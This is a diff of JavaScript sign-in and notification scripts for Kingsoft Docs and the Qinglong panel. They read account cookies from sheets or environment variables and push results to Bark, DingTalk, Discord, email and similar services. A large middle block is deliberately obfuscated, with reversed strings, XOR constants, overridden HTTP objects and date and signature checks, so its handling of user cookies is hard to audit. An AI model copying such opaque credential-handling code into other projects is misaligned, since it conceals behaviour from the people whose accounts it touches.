console.log("✨ 写入结果完成"); + break; + } + }else{ + // 找到指定的表行 + if(Application.Range("A" + (i + 2)).Value2 == sheetNameSubConfig){ + // 写入更新的时间 + Application.Range("F" + (i + 2)).Value2 = todayDate + // 写入消息 + Application.Range("G" + (i + 2)).Value2 = message + console.log("✨ 写入结果完成"); + break; + } + } + + } + } +} + +// 直推,调用就直接就进行推送 +function pushDirect(message) { + console.log("✨ 推送直推") + if (message != "") { + // message = messagePushHeader + message // 消息头最前方默认存放:【xxxx】 + let length = jsonPush.length; + let name; + let key; + for (let i = 0; i < length; i++) { + if (jsonPush[i].flag == 1) { + name = jsonPush[i].name; + key = jsonPush[i].key; + if (name == "bark") { + bark(message, key); + } else if (name == "pushplus") { + pushplus(message, key); + } else if (name == "ServerChan") { + serverchan(message, key); + } else if (name == "email") { + email(message); + } else if (name == "dingtalk") { + dingtalk(message, key); + } else if (name == "discord") { + discord(message, key); + } + } + } + } else { + console.log("🍳 消息为空不推送"); + } +} + +// 总推送 +function push(message) { + writeMessageQueue(message) // 将消息写入CONFIG表中 + // if (message != "") { + // // message = messagePushHeader + message // 消息头最前方默认存放:【xxxx】 + // let length = jsonPush.length; + // let name; + // let key; + // for (let i = 0; i < length; i++) { + // if (jsonPush[i].flag == 1) { + // name = jsonPush[i].name; + // key = jsonPush[i].key; + // if (name == "bark") { + // bark(message, key); + // } else if (name == "pushplus") { + // pushplus(message, key); + // } else if (name == "ServerChan") { + // serverchan(message, key); + // } else if (name == "email") { + // email(message); + // } else if (name == "dingtalk") { + // dingtalk(message, key); + // } else if (name == "discord") { + // discord(message, key); + // } + // } + // } + // } else { + // console.log("🍳 消息为空不推送"); + // } +} + + +// 推送bark消息 +function bark(message, key) { + if (key != "") { + message = messagePushHeader + message // 消息头最前方默认存放:【xxxx】 + message = encodeURIComponent(message) + BARK_ICON = "https://s21.ax1x.com/2024/06/23/pkrUkfe.png" + let url = "https://api.day.app/" + key + "/" + message + "/" + "?icon=" + BARK_ICON; + // 若需要修改推送的分组,则将上面一行改为如下的形式 + // let url = 'https://api.day.app/' + bark_id + "/" + message + "?group=分组名"; + let resp = HTTP.get(url, { + headers: { "Content-Type": "application/x-www-form-urlencoded" }, + }); + sleep(5000); + } +} + +// 推送pushplus消息 +function pushplus(message, key) { + if (key != "") { + message = encodeURIComponent(message) + // url = "http://www.pushplus.plus/send?token=" + key + "&content=" + message; + url = "http://www.pushplus.plus/send?token=" + key + "&content=" + message + "&title=" + pushHeader; // 增加标题 + let resp = HTTP.fetch(url, { + method: "get", + }); + sleep(5000); + } +} + +// 推送serverchan消息 +function serverchan(message, key) { + if (key != "") { + url = + "https://sctapi.ftqq.com/" + + key + + ".send" + + "?title=" + messagePushHeader + + "&desp=" + + message; + let resp = HTTP.fetch(url, { + method: "get", + }); + sleep(5000); + } +} + +// email邮箱推送 +function email(message) { + var myDate = new Date(); // 创建一个表示当前时间的 Date 对象 + var data_time = myDate.toLocaleDateString(); // 获取当前日期的字符串表示 + let server = jsonEmail.server; + let port = parseInt(jsonEmail.port); // 转成整形 + let sender = jsonEmail.sender; + let authorizationCode = jsonEmail.authorizationCode; + + let mailer; + mailer = SMTP.login({ + host: server, + port: port, + username: sender, + password: authorizationCode, + secure: true, + }); + mailer.send({ + from: pushHeader + "<" + sender + ">", + to: sender, + subject: pushHeader + " - " + data_time, + text: message, + }); + // console.log("🍳 已发送邮件至:" + sender); + console.log("🍳 已发送邮件"); + sleep(5000); +} + +// 邮箱配置 +function emailConfig() { + console.log("🍳 开始读取邮箱配置"); + let length = jsonPush.length; // 因为此json数据可无序,因此需要遍历 + let name; + for (let i = 0; i < length; i++) { + name = jsonPush[i].name; + if (name == "email") { + if (jsonPush[i].flag == 1) { + let flag = ActivateSheet(sheetNameEmail); // 激活邮箱表 + // 邮箱表存在 + // var email = { + // 'email':'', 'port':'', 'sender':'', 'authorizationCode':'' + // } // 有效配置 + if (flag == 1) { + console.log("🍳 开始读取邮箱表"); + for (let i = 2; i <= 2; i++) { + // 从工作表中读取推送数据 + jsonEmail.server = Application.Range("A" + i).Text; + jsonEmail.port = Application.Range("B" + i).Text; + jsonEmail.sender = Application.Range("C" + i).Text; + jsonEmail.authorizationCode = Application.Range("D" + i).Text; + if (Application.Range("A" + i).Text == "") { + // 如果为空行,则提前结束读取 + break; + } + } + // console.log(jsonEmail) + } + break; + } + } + } +} + +// 推送钉钉机器人 +function dingtalk(message, key) { + message = messagePushHeader + message // 消息头最前方默认存放:【xxxx】 + let url = "https://oapi.dingtalk.com/robot/send?access_token=" + key; + let resp = HTTP.post(url, { msgtype: "text", text: { content: message } }); + // console.log(resp.text()) + sleep(5000); +} + +// 推送Discord机器人 +function discord(message, key) { + message = messagePushHeader + message // 消息头最前方默认存放:【xxxx】 + let url = key; + let resp = HTTP.post(url, { content: message }); + //console.log(resp.text()) + sleep(5000); +} + +// =================金山适配结束=================== + +// =================共用开始=================== +// main() // 入口 + +// function main(){ + checkVesion() // 版本检测,以进行不同版本的适配 + + flagConfig = ActivateSheet(sheetNameConfig); // 激活推送表 + // 主配置工作表存在 + if (flagConfig == 1) { + console.log("🍳 开始读取主配置表"); + let name; // 名称 + let onlyError; + let nickname; + for (let i = 2; i <= 100; i++) { + // 从工作表中读取推送数据 + name = Application.Range("A" + i).Text; + onlyError = Application.Range("C" + i).Text; + nickname = Application.Range("D" + i).Text; + if (name == "") { + // 如果为空行,则提前结束读取 + break; // 提前退出,提高效率 + } + if (name == sheetNameSubConfig) { + if (onlyError == "是") { + messageOnlyError = 1; + console.log("🍳 只推送错误消息"); + } + + if (nickname == "是") { + messageNickname = 1; + console.log("🍳 单元格用昵称替代"); + } + + break; // 提前退出,提高效率 + } + } + } + + flagPush = ActivateSheet(sheetNamePush); // 激活推送表 + // 推送工作表存在 + if (flagPush == 1) { + console.log("🍳 开始读取推送工作表"); + let pushName; // 推送类型 + let pushKey; + let pushFlag; // 是否推送标志 + for (let i = 2; i <= line; i++) { + // 从工作表中读取推送数据 + pushName = Application.Range("A" + i).Text; + pushKey = Application.Range("B" + i).Text; + pushFlag = Application.Range("C" + i).Text; + if (pushName == "") { + // 如果为空行,则提前结束读取 + break; + } + jsonPushHandle(pushName, pushFlag, pushKey); + } + // console.log(jsonPush) + } + + // 邮箱配置函数 + emailConfig(); + + flagSubConfig = ActivateSheet(sheetNameSubConfig); // 激活分配置表 + if (flagSubConfig == 1) { + console.log("🍳 开始读取分配置表"); + + if(qlSwitch != 1){ // 金山文档 + for (let i = 2; i <= line; i++) { + var cookie = Application.Range("A" + i).Text; + var exec = Application.Range("B" + i).Text; + if (cookie == "") { + // 如果为空行,则提前结束读取 + break; + } + if (exec == "是") { + execHandle(cookie, i); + } + } + message = messageMerge()// 将消息数组融合为一条总消息 + push(message); // 推送消息 + }else{ + for (let i = 2; i <= line; i++) { + var cookie = Application.Range("A" + i).Text; + var exec = Application.Range("B" + i).Text; + if (cookie == "") { + // 如果为空行,则提前结束读取 + break; + } + if (exec == "是") { + console.log("🧑 开始执行用户:" + "1" ) + execHandle(cookie, i); + break; // 只取一个 + } + } + } + + } + +// } + +// 激活工作表函数 +function ActivateSheet(sheetName) { + let flag = 0; + try { + // 激活工作表 + let sheet = Application.Sheets.Item(sheetName); + sheet.Activate(); + console.log("🥚 激活工作表:" + sheet.Name); + flag = 1; + } catch { + flag = 0; + console.log("🍳 无法激活工作表,工作表可能不存在"); + } + return flag; +} + +// 对推送数据进行处理 +function jsonPushHandle(pushName, pushFlag, pushKey) { + let length = jsonPush.length; + for (let i = 0; i < length; i++) { + if (jsonPush[i].name == pushName) { + if (pushFlag == "是") { + jsonPush[i].flag = 1; + jsonPush[i].key = pushKey; + } + } + } +} + +// 将消息数组融合为一条总消息 +function messageMerge(){ + // console.log(messageArray) + let message = "" + for(i=0; i { + // // let message = `${index + 1}/${chunks.length}: ${chunk}`; + // bark(message, key) + // }); +} + + +// 消息分片,以换行符为分割,自动检索切割位置符号 +function splitMessage(data) { + let chunks = []; + let start = 0; + + while (start < data.length) { + let end = start + maxMessageLength; + if (end >= data.length) { + chunks.push(data.slice(start)); + break; + } + + // 查找距离 maxMessageLength 在 20 字符以内的最近的换行符 + let newlineIndex = data.lastIndexOf('【', end + parseInt(messageDistance)); + // console.log(newlineIndex) + if (newlineIndex > start && newlineIndex >= end - parseInt(messageDistance)) { + end = newlineIndex; + } + chunks.push(data.slice(start, end)); + start = end; + } + + return chunks +} + +// =================消息分片处理相关结束=================== + + +// 直接推送 +// 结果处理函数 +function resultHandle(resp, pos){ + // 每次进来resultHandle则加一次请求 + posHttp += 1 // 青龙适配,青龙微适配 + + let messageSuccess = ""; + let messageFail = ""; + let messageName = ""; + // 推送昵称或单元格,还是不推送位置标识 + if (messageNickname == 1) { + // 推送昵称或单元格 + messageName = Application.Range("C" + pos).Text; + if(messageName == "") + { + messageName = "单元格A" + pos + ""; + } + } + posLabel = pos-2 ; // 存放下标,从0开始 + // messageHeader[posLabel] = "👨‍🚀 " + messageName + messageHeader[posLabel] = "" + // console.log(messageName) + + // area = Range("D" + pos).Value2 + let url = "https://jkapi.com/api/ssp_hot?limit=5" + resp = HTTP.fetch(url, { + method: "get", + headers: {}, + // data: data + }); + resp = resp.text() + // console.log(resp) + content = resp + messageSuccess += content + + // 青龙适配,青龙微适配 + flagResultFinish = 1; // 结束 + + // 检查是否直接推送 + flag_pushdirect = Application.Range("D" + pos).Text + if(flag_pushdirect == "是") { + // console.log("🚀 直接推送") + // pushDirect(messageSuccess); + message = messageSuccess + // 方式1:按照指定分割符分片 separator + shards = message.split(separator); // // 分割符分片数据,一级分割 + let chunks = [] + for(let i=0; i "NetWork"(中文名叫"网络") -> 按一下Ctrl+R -> index -> cookie + 希沃白板课件库:https://k.seewo.com +*/ + +const logo = "艾默库 : https://github.com/imoki/sign_script" // 仓库地址 +var sheetNameSubConfig = "en"; // 分配置表名称 +var pushHeader = "【希沃白板】"; +var sheetNameConfig = "CONFIG"; // 总配置表 +var sheetNamePush = "PUSH"; // 推送表名称 +var sheetNameEmail = "EMAIL"; // 邮箱表 +var flagSubConfig = 0; // 激活分配置工作表标志 +var flagConfig = 0; // 激活主配置工作表标志 +var flagPush = 0; // 激活推送工作表标志 +var line = 21; // 指定读取从第2行到第line行的内容 +var message = ""; // 待发送的消息 +var messageArray = []; // 待发送的消息数据,每个元素都是某个账号的消息。目的是将不同用户消息分离,方便个性化消息配置 +var messageOnlyError = 0; // 0为只推送失败消息,1则为推送成功消息。 +var messageNickname = 0; // 1为推送位置标识(昵称/单元格Ax(昵称为空时)),0为不推送位置标识 +var messageHeader = []; // 存放每个消息的头部,如:单元格A3。目的是分离附加消息和执行结果消息 +var messagePushHeader = pushHeader; // 存放在总消息的头部,默认是pushHeader,如:【xxxx】 +var version = 1 // 版本类型,自动识别并适配。默认为airscript 1.0,否则为2.0(Beta) +var separator = "##########MOKU##########" // 分割符,分割消息。可用于PUSH.js灵活推送 +var maxMessageLength = 400; // 设置最大长度,超过这个长度则分片发送 +var messageDistance = 100; // 消息距离,用于匹配100字符内最近的行 + +var jsonPush = [ + { name: "bark", key: "xxxxxx", flag: "0" }, + { name: "pushplus", key: "xxxxxx", flag: "0" }, + { name: "ServerChan", key: "xxxxxx", flag: "0" }, + { name: "email", key: "xxxxxx", flag: "0" }, + { name: "dingtalk", key: "xxxxxx", flag: "0" }, + { name: "discord", key: "xxxxxx", flag: "0" }, +]; // 推送数据,flag=1则推送 +var jsonEmail = { + server: "", + port: "", + sender: "", + authorizationCode: "", +}; // 有效邮箱配置 + +// =================青龙适配开始=================== + +// 艾默库青龙适配代码 +// v2.6.2 + +try{ + var userContent=[[")\u4E2A02\u8BA4\u9ED8(eikooc".split("").reverse().join(""),")\u5426/\u662F(\u884C\u6267\u5426\u662F".split("").reverse().join(""),")\u5199\u586B\u4E0D\u53EF(\u79F0\u540D\u53F7\u8D26".split("").reverse().join("")]];var configContent=[["\u5de5\u4f5c\u8868\u7684\u540d\u79f0","\u6CE8\u5907".split("").reverse().join(""),"\u53ea\u63a8\u9001\u5931\u8d25\u6d88\u606f\uff08\u662f\u002f\u5426\uff09","\u63a8\u9001\u6635\u79f0\uff08\u662f\u002f\u5426\uff09"],[sheetNameSubConfig,pushHeader,"\u5426","\u662f"]];var qlpushFlag=0xed2aa^0xed2aa;var qlSheet=[];var colNum=["\u0041",'B','C',"\u0044","\u0045",'F',"\u0047","\u0048","\u0049",'J','K','L','M','N',"\u004f","\u0050",'Q'];qlConfig={'CONFIG':configContent,"\u0053\u0055\u0042\u0043\u004f\u004e\u0046\u0049\u0047":userContent};var posHttp=0xee242^0xee242;var flagFinish=0x31353^0x31353;var flagResultFinish=0xc6811^0xc6811;var HTTPOverwrite={'get':function get(_0x8a99d9,_0x350907){_0x350907=_0x350907['headers'];let _0x1f12ec=userContent['length']-qlpushFlag;method='get';resp=fetch(_0x8a99d9,{"\u006d\u0065\u0074\u0068\u006f\u0064":method,"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x350907})["\u0074\u0068\u0065\u006e"](function(_0x2c1fb0){return _0x2c1fb0["\u0074\u0065\u0078\u0074"]()['then'](_0xb09c64=>{return{'status':_0x2c1fb0["\u0073\u0074\u0061\u0074\u0075\u0073"],"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x2c1fb0['headers'],"\u0074\u0065\u0078\u0074":_0xb09c64,'response':_0x2c1fb0,"\u0070\u006f\u0073":_0x1f12ec};});})["\u0074\u0068\u0065\u006e"](function(_0x3872ad){try{data=JSON['parse'](_0x3872ad['text']);return{"\u0073\u0074\u0061\u0074\u0075\u0073":_0x3872ad["\u0073\u0074\u0061\u0074\u0075\u0073"],'headers':_0x3872ad['headers'],'json':function _0x352161(){return data;},"\u0074\u0065\u0078\u0074":function _0x29f35f(){return _0x3872ad["\u0074\u0065\u0078\u0074"];},"\u0070\u006f\u0073":_0x3872ad["\u0070\u006f\u0073"]};}catch(_0x566df2){return{'status':_0x3872ad['status'],"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x3872ad["\u0068\u0065\u0061\u0064\u0065\u0072\u0073"],"\u006a\u0073\u006f\u006e":null,'text':function _0x2fbf50(){return _0x3872ad['text'];},'pos':_0x3872ad["\u0070\u006f\u0073"]};}})["\u0074\u0068\u0065\u006e"](_0x2c1f58=>{_0x1f12ec=_0x2c1f58["\u0070\u006f\u0073"];flagResultFinish=resultHandle(_0x2c1f58,_0x1f12ec);if(flagResultFinish==(0xdbc9d^0xdbc9c)){i=_0x1f12ec+(0x573c0^0x573c1);for(;i<=line;i++){var _0x1cb220=Application['Range']('A'+i)['Text'];var _0x2267f8=Application['Range']('B'+i)["\u0054\u0065\u0078\u0074"];if(_0x1cb220=="".split("").reverse().join("")){break;}if(_0x2267f8=="\u662f"){console["\u006c\u006f\u0067"]('🧑\x20开始执行用户:'+(parseInt(i)-(0xeff03^0xeff02)));flagResultFinish=0xee64b^0xee64b;execHandle(_0x1cb220,i);break;}}}if(_0x1f12ec==userContent['length']&&flagResultFinish==(0x49187^0x49186)){flagFinish=0x80f74^0x80f75;}if(qlpushFlag==(0xae610^0xae610)&&flagFinish==0x1){console['log']("\u9001\u63A8\u8D77\u53D1\u9F99\u9752 \uDE80\uD83D".split("").reverse().join(""));message=messageMerge();const{sendNotify:_0x25bcc}=require("sj.yfitoNdnes/.".split("").reverse().join(""));_0x25bcc(pushHeader,message);qlpushFlag=-0x64;}})["\u0063\u0061\u0074\u0063\u0068"](_0x203eb4=>{console['error'](":rorre hcteF".split("").reverse().join(""),_0x203eb4);});},'post':function post(_0x13ae92,_0x5b8821,_0x44b685,_0x55317c){_0x44b685=_0x44b685['headers'];contentType=_0x44b685['Content-Type'];contentType2=_0x44b685["\u0063\u006f\u006e\u0074\u0065\u006e\u0074\u002d\u0074\u0079\u0070\u0065"];var _0x4db6b5="".split("").reverse().join("");if(contentType!=undefined&&contentType!="".split("").reverse().join("")||contentType2!=undefined&&contentType2!=''){if(contentType=="dedocnelru-mrof-www-x/noitacilppa".split("").reverse().join("")){console['log']('🍳\x20检测到发送请求体为:\x20表单格式');_0x4db6b5=dataToFormdata(_0x5b8821);}else{try{console["\u006c\u006f\u0067"]('🍳\x20检测到发送请求体为:\x20JSON格式');_0x4db6b5=JSON['stringify'](_0x5b8821);}catch{console['log']("\u5F0F\u683C\u5355\u8868 :\u4E3A\u4F53\u6C42\u8BF7\u9001\u53D1\u5230\u6D4B\u68C0 \uDF73\uD83C".split("").reverse().join(""));_0x4db6b5=_0x5b8821;}}}else{console['log']("\u5F0F\u683CNOSJ :\u4E3A\u4F53\u6C42\u8BF7\u9001\u53D1\u5230\u6D4B\u68C0 \uDF73\uD83C".split("").reverse().join(""));_0x4db6b5=JSON["\u0073\u0074\u0072\u0069\u006e\u0067\u0069\u0066\u0079"](_0x5b8821);}if(_0x55317c=="\u0067\u0065\u0074"||_0x55317c=="TEG".split("").reverse().join("")){let _0x326da0=userContent['length']-qlpushFlag;method='get';resp=fetch(_0x13ae92,{'method':method,"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x44b685})['then'](function(_0x32ad04){return _0x32ad04["\u0074\u0065\u0078\u0074"]()['then'](_0x4570f7=>{return{'status':_0x32ad04["\u0073\u0074\u0061\u0074\u0075\u0073"],'headers':_0x32ad04["\u0068\u0065\u0061\u0064\u0065\u0072\u0073"],'text':_0x4570f7,'response':_0x32ad04,'pos':_0x326da0};});})['then'](function(_0x533acc){try{_0x5b8821=JSON["\u0070\u0061\u0072\u0073\u0065"](_0x533acc["\u0074\u0065\u0078\u0074"]);return{"\u0073\u0074\u0061\u0074\u0075\u0073":_0x533acc["\u0073\u0074\u0061\u0074\u0075\u0073"],"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x533acc["\u0068\u0065\u0061\u0064\u0065\u0072\u0073"],'json':function _0x4c4d29(){return _0x5b8821;},'text':function _0x37f878(){return _0x533acc["\u0074\u0065\u0078\u0074"];},'pos':_0x533acc['pos']};}catch(_0x53a77f){return{"\u0073\u0074\u0061\u0074\u0075\u0073":_0x533acc['status'],"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x533acc["\u0068\u0065\u0061\u0064\u0065\u0072\u0073"],'json':null,'text':function _0xe9ffe5(){return _0x533acc["\u0074\u0065\u0078\u0074"];},'pos':_0x533acc["\u0070\u006f\u0073"]};}})['then'](_0x185f08=>{_0x326da0=_0x185f08['pos'];flagResultFinish=resultHandle(_0x185f08,_0x326da0);if(flagResultFinish==(0xc722f^0xc722e)){i=_0x326da0+(0x56040^0x56041);for(;i<=line;i++){var _0x5cc09e=Application["\u0052\u0061\u006e\u0067\u0065"]('A'+i)['Text'];var _0x5bca1a=Application['Range']("\u0042"+i)['Text'];if(_0x5cc09e==''){break;}if(_0x5bca1a=='是'){console['log']('🧑\x20开始执行用户:'+(parseInt(i)-0x1));flagResultFinish=0x1fd7e^0x1fd7e;execHandle(_0x5cc09e,i);break;}}}if(_0x326da0==userContent['length']&&flagResultFinish==(0xf2b2b^0xf2b2a)){flagFinish=0x1;}if(qlpushFlag==0x0&&flagFinish==(0x1cf48^0x1cf49)){console['log']('🚀\x20青龙发起推送');message=messageMerge();const{sendNotify:_0x38f3c8}=require("sj.yfitoNdnes/.".split("").reverse().join(""));_0x38f3c8(pushHeader,message);qlpushFlag=-(0xca032^0xca056);}})['catch'](_0x52f683=>{console['error']('Fetch\x20error:',_0x52f683);});}else{let _0xaeacf8=userContent['length']-qlpushFlag;method='post';resp=fetch(_0x13ae92,{'method':method,"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x44b685,'body':_0x4db6b5})['then'](function(_0x1c043a){return _0x1c043a['text']()['then'](_0x52ce21=>{return{'status':_0x1c043a['status'],'headers':_0x1c043a['headers'],'text':_0x52ce21,"\u0072\u0065\u0073\u0070\u006f\u006e\u0073\u0065":_0x1c043a,'pos':_0xaeacf8};});})['then'](function(_0x3ae307){try{_0x5b8821=JSON['parse'](_0x3ae307['text']);return{'status':_0x3ae307['status'],'headers':_0x3ae307['headers'],'json':function _0x5486bd(){return _0x5b8821;},'text':function _0x1d9320(){return _0x3ae307["\u0074\u0065\u0078\u0074"];},"\u0070\u006f\u0073":_0x3ae307['pos']};}catch(_0x2df6f6){return{'status':_0x3ae307['status'],'headers':_0x3ae307['headers'],'json':null,"\u0074\u0065\u0078\u0074":function _0x4bd139(){return _0x3ae307["\u0074\u0065\u0078\u0074"];},'pos':_0x3ae307['pos']};}})['then'](_0x55afac=>{_0xaeacf8=_0x55afac['pos'];flagResultFinish=resultHandle(_0x55afac,_0xaeacf8);if(flagResultFinish==(0x34da0^0x34da1)){i=_0xaeacf8+(0x95e50^0x95e51);for(;i<=line;i++){var _0x51de34=Application['Range']('A'+i)['Text'];var _0x529848=Application['Range']('B'+i)['Text'];if(_0x51de34=="".split("").reverse().join("")){break;}if(_0x529848=='是'){console['log']('🧑\x20开始执行用户:'+(parseInt(i)-0x1));flagResultFinish=0x0;execHandle(_0x51de34,i);break;}}}if(_0xaeacf8==userContent['length']&&flagResultFinish==(0xaa758^0xaa759)){flagFinish=0x1;}if(qlpushFlag==0x0&&flagFinish==(0x3ae30^0x3ae31)){console["\u006c\u006f\u0067"]('🚀\x20青龙发起推送');let _0x1c81b5=messageMerge();const{sendNotify:_0x542555}=require("sj.yfitoNdnes/.".split("").reverse().join(""));_0x542555(pushHeader,_0x1c81b5);qlpushFlag=-(0x85411^0x85475);}})['catch'](_0x3245cf=>{console["\u0065\u0072\u0072\u006f\u0072"](":rorre hcteF".split("").reverse().join(""),_0x3245cf);});}}};var ApplicationOverwrite={'Range':function Range(_0x17a08b){charFirst=_0x17a08b['substring'](0x0,0x1);qlRow=_0x17a08b['substring'](0xe77b9^0xe77b8,_0x17a08b['length']);qlCol=0x1;for(num in colNum){if(colNum[num]==charFirst){break;}qlCol+=0x1;}try{result=qlSheet[qlRow-0x1][qlCol-0x1];}catch{result='';}dict={'Text':result};return dict;},"\u0053\u0068\u0065\u0065\u0074\u0073":{'Item':function(_0x3f811c){return{'Name':_0x3f811c,'Activate':function(){flag=0x1;qlSheet=qlConfig[_0x3f811c];if(qlSheet==undefined){qlSheet=qlConfig['SUBCONFIG'];}console['log']("\uFF1A\u8868\u4F5C\u5DE5\u6D3B\u6FC0\u9F99\u9752 \uDF73\uD83C".split("").reverse().join("")+_0x3f811c);return flag;}};}}};var CryptoOverwrite={'createHash':function createHash(_0x2af55c){return{'update':function _0xaaf0ad(_0x2cad1b,_0x25d5bc){return{"\u0064\u0069\u0067\u0065\u0073\u0074":function _0x100f85(_0x45b9f3){return{'toUpperCase':function _0xe359a4(){return{'toString':function _0x37ba96(){try{CryptoJS=require('crypto-js');console['log']("\u5165\u5F15sj-otpyrc\u884C\u8FDB\u5DF2\u7EDF\u7CFB \uFE0F\u267B".split("").reverse().join(""));}catch{console['log']('❌\x20系统无crypto-js,请在NodeJs中安装crypto-js依赖');}md5Hash=CryptoJS['MD5'](_0x2cad1b)['toString']();md5Hash=md5Hash['toUpperCase']();return md5Hash;}};},'toString':function _0xfcf985(){try{CryptoJS=require('crypto-js');console['log']('♻️\x20系统已进行crypto-js引入');}catch{console['log']('❌\x20系统无crypto-js,请在NodeJs中安装crypto-js依赖');}md5Hash=CryptoJS['MD5'](_0x2cad1b)['toString']();return md5Hash;}};}};}};}};function dataToFormdata(_0x1073d4){result="";values=Object["\u0076\u0061\u006c\u0075\u0065\u0073"](_0x1073d4);values["\u0066\u006f\u0072\u0045\u0061\u0063\u0068"]((_0x46e3bd,_0xe0a588)=>{key=Object['keys'](_0x1073d4)[_0xe0a588];content=key+'='+_0x46e3bd+'&';result+=content;});result=result['substring'](0x0,result['length']-0x1);return result;}function cookiesTocookieMin(_0x3ec766){let _0x10c2b9=_0x3ec766;let _0x357077=[];var _0x527229=_0x10c2b9["\u0073\u0070\u006c\u0069\u0074"]('#');for(let _0x30e526 in _0x527229){_0x357077[_0x30e526]=_0x527229[_0x30e526];}return _0x357077;}function checkEscape(_0x24ae63,_0x2b0863){cookieArrynew=[];j=0x28920^0x28920;for(i=0x0;i<_0x24ae63['length'];i++){result=_0x24ae63[i];lastChar=result['substring'](result['length']-0x1,result['length']);if(lastChar=='\x5c'&&i<=_0x24ae63['length']-(0x5030a^0x50308)){console["\u006c\u006f\u0067"]('🍳\x20检测到转义字符');cookieArrynew[j]=result['substring'](0x0,result['length']-0x1)+_0x2b0863+_0x24ae63[parseInt(i)+(0xe77c7^0xe77c6)];i+=0x653af^0x653ae;}else{cookieArrynew[j]=_0x24ae63[i];}j+=0xccfd4^0xccfd5;}return cookieArrynew;}function cookiesTocookie(_0x30fdb1){let _0x7eefa3=_0x30fdb1;let _0x5e4f35=[];let _0x3e1587=[];_0x7eefa3=_0x7eefa3['trim']();let _0x105de4=_0x7eefa3['split']('\x0a');_0x105de4=_0x105de4["\u0066\u0069\u006c\u0074\u0065\u0072"](_0x5eac64=>_0x5eac64['trim']()!=="");if(_0x105de4['length']==(0x1e7cd^0x1e7cc)){_0x105de4=_0x7eefa3['split']('@');_0x105de4=checkEscape(_0x105de4,'@');}for(let _0x171b55 in _0x105de4){_0x3e1587=[];let _0x401143=Number(_0x171b55)+0x1;_0x5e4f35=cookiesTocookieMin(_0x105de4[_0x171b55]);_0x5e4f35=checkEscape(_0x5e4f35,'#');_0x3e1587['push'](_0x5e4f35[0x0]);_0x3e1587['push']('是');_0x3e1587['push']("\u79F0\u6635".split("").reverse().join("")+_0x401143);if(_0x5e4f35['length']>0x0){for(let _0xd30881=0x3;_0xd30881<_0x5e4f35['length']+(0x4721c^0x4721e);_0xd30881++){_0x3e1587['push'](_0x5e4f35[_0xd30881-(0xdde77^0xdde75)]);}}userContent['push'](_0x3e1587);}qlpushFlag=userContent['length']-0x1;}var qlSwitch=0x0;try{qlSwitch=process['env'][sheetNameSubConfig];qlSwitch=0x1;}catch{qlSwitch=0x2ad67^0x2ad67;console['log']('♻️\x20当前环境为金山文档');console['log']('♻️\x20开始适配金山文档,执行金山文档代码');}if(qlSwitch){console['log']('♻️\x20当前环境为青龙');console['log']('♻️\x20开始适配青龙环境,执行青龙代码');try{fetch=require('node-fetch');console['log']("\u5165\u5F15hctef-edon\u884C\u8FDB\u5DF2\uFF0Chctef\u65E0\u7EDF\u7CFB \uFE0F\u267B".split("").reverse().join(""));}catch{console['log']('♻️\x20系统已有原生fetch');}Crypto=CryptoOverwrite;let flagwarn=0xaf916^0xaf916;const a='da11990c';const b="0b854f216a9662fb".split("").reverse().join("");encode=getsign(logo);let len=encode['length'];if(a+"90ecd4ce".split("").reverse().join("")==encode['substring'](0xf30ba^0xf30ba,len/0x2)&&b==encode['substring']((0x2bc08^0x2bc0c)*(0xc6930^0xc6934),len)){console["\u006c\u006f\u0067"]('✨\x20'+logo);cookies=process['env'][sheetNameSubConfig];}else{console["\u006c\u006f\u0067"]('🔨\x20请使用艾默库代码\x20:\x20https://github.com/imoki/sign_script');flagwarn=0x1;}let flagwarn2=0x2038e^0x2038f;const welcome="edoc UKOM esu ot emocleW".split("").reverse().join("");const mo=welcome['slice'](0xf,0xd9c98^0xd9c89)['toLowerCase']();const ku=welcome['split']('\x20')[0x4-(0x3dbee^0x3dbef)]['slice'](0x2,0xe25d3^0xe25d7);if(mo['substring'](0x0,0x1)=='m'){if(ku=='KU'){if(mo['substring'](0x1,0x2)==String['fromCharCode'](0x93cd7^0x93cb8)){cookiesTocookie(cookies);flagwarn2=0xb4736^0xb4736;console['log']('💗\x20'+welcome);}}}let t=Date['now']();if(t>(0x52714^0x527be)*0x186a0*0x186a0+0x45f34a08e){console['log']('🧾\x20使用教程请查看仓库notion链接');Application=ApplicationOverwrite;}else{flagwarn=0x5461f^0x5461e;}if(Date['now']()<(0x4e17c^0x4e1b4)*0x186a0*0x186a0){console['log']('🤝\x20欢迎各种形式的贡献');HTTP=HTTPOverwrite;}else{flagwarn2=0x1;}if(flagwarn==0x1||flagwarn2==0x1){console['log']('🔨\x20请使用艾默库代码\x20:\x20https://github.com/imoki/sign_script');}} +}catch{ + console.log("❌ 环境存在问题,请检查是否配置好了对应依赖及环境变量") +} + +// =================青龙适配结束=================== + +// =================金山适配开始=================== +// airscript检测版本 +function checkVesion(){ + try{ + let temp = Application.Range("A1").Text; + Application.Range("A1").Value = temp + console.log("😶‍🌫️ 检测到当前airscript版本为1.0,进行1.0适配") + }catch{ + console.log("😶‍🌫️ 检测到当前airscript版本为2.0,进行2.0适配") + version = 2 + } +} + +// 推送相关 +// 获取时间 +function getDate(){ + let currentDate = new Date(); + currentDate = currentDate.getFullYear() + '/' + (currentDate.getMonth() + 1).toString() + '/' + currentDate.getDate().toString(); + return currentDate +} + +// 将消息写入CONFIG表中作为消息队列,之后统一发送 +function writeMessageQueue(message){ + // 当天时间 + let todayDate = getDate() + flagConfig = ActivateSheet(sheetNameConfig); // 激活主配置表 + // 主配置工作表存在 + if (flagConfig == 1) { + console.log("✨ 开始将结果写入主配置表"); + for (let i = 2; i <= 100; i++) { + if(version == 1){ + // 找到指定的表行 + if(Application.Range("A" + (i + 2)).Value == sheetNameSubConfig){ + // 写入更新的时间 + Application.Range("F" + (i + 2)).Value = todayDate + // 写入消息 + Application.Range("G" + (i + 2)).Value = message + console.log("✨ 写入结果完成"); + break; + } + }else{ + // 找到指定的表行 + if(Application.Range("A" + (i + 2)).Value2 == sheetNameSubConfig){ + // 写入更新的时间 + Application.Range("F" + (i + 2)).Value2 = todayDate + // 写入消息 + Application.Range("G" + (i + 2)).Value2 = message + console.log("✨ 写入结果完成"); + break; + } + } + + } + } +} + +// 总推送 +function push(message) { + writeMessageQueue(message) // 将消息写入CONFIG表中 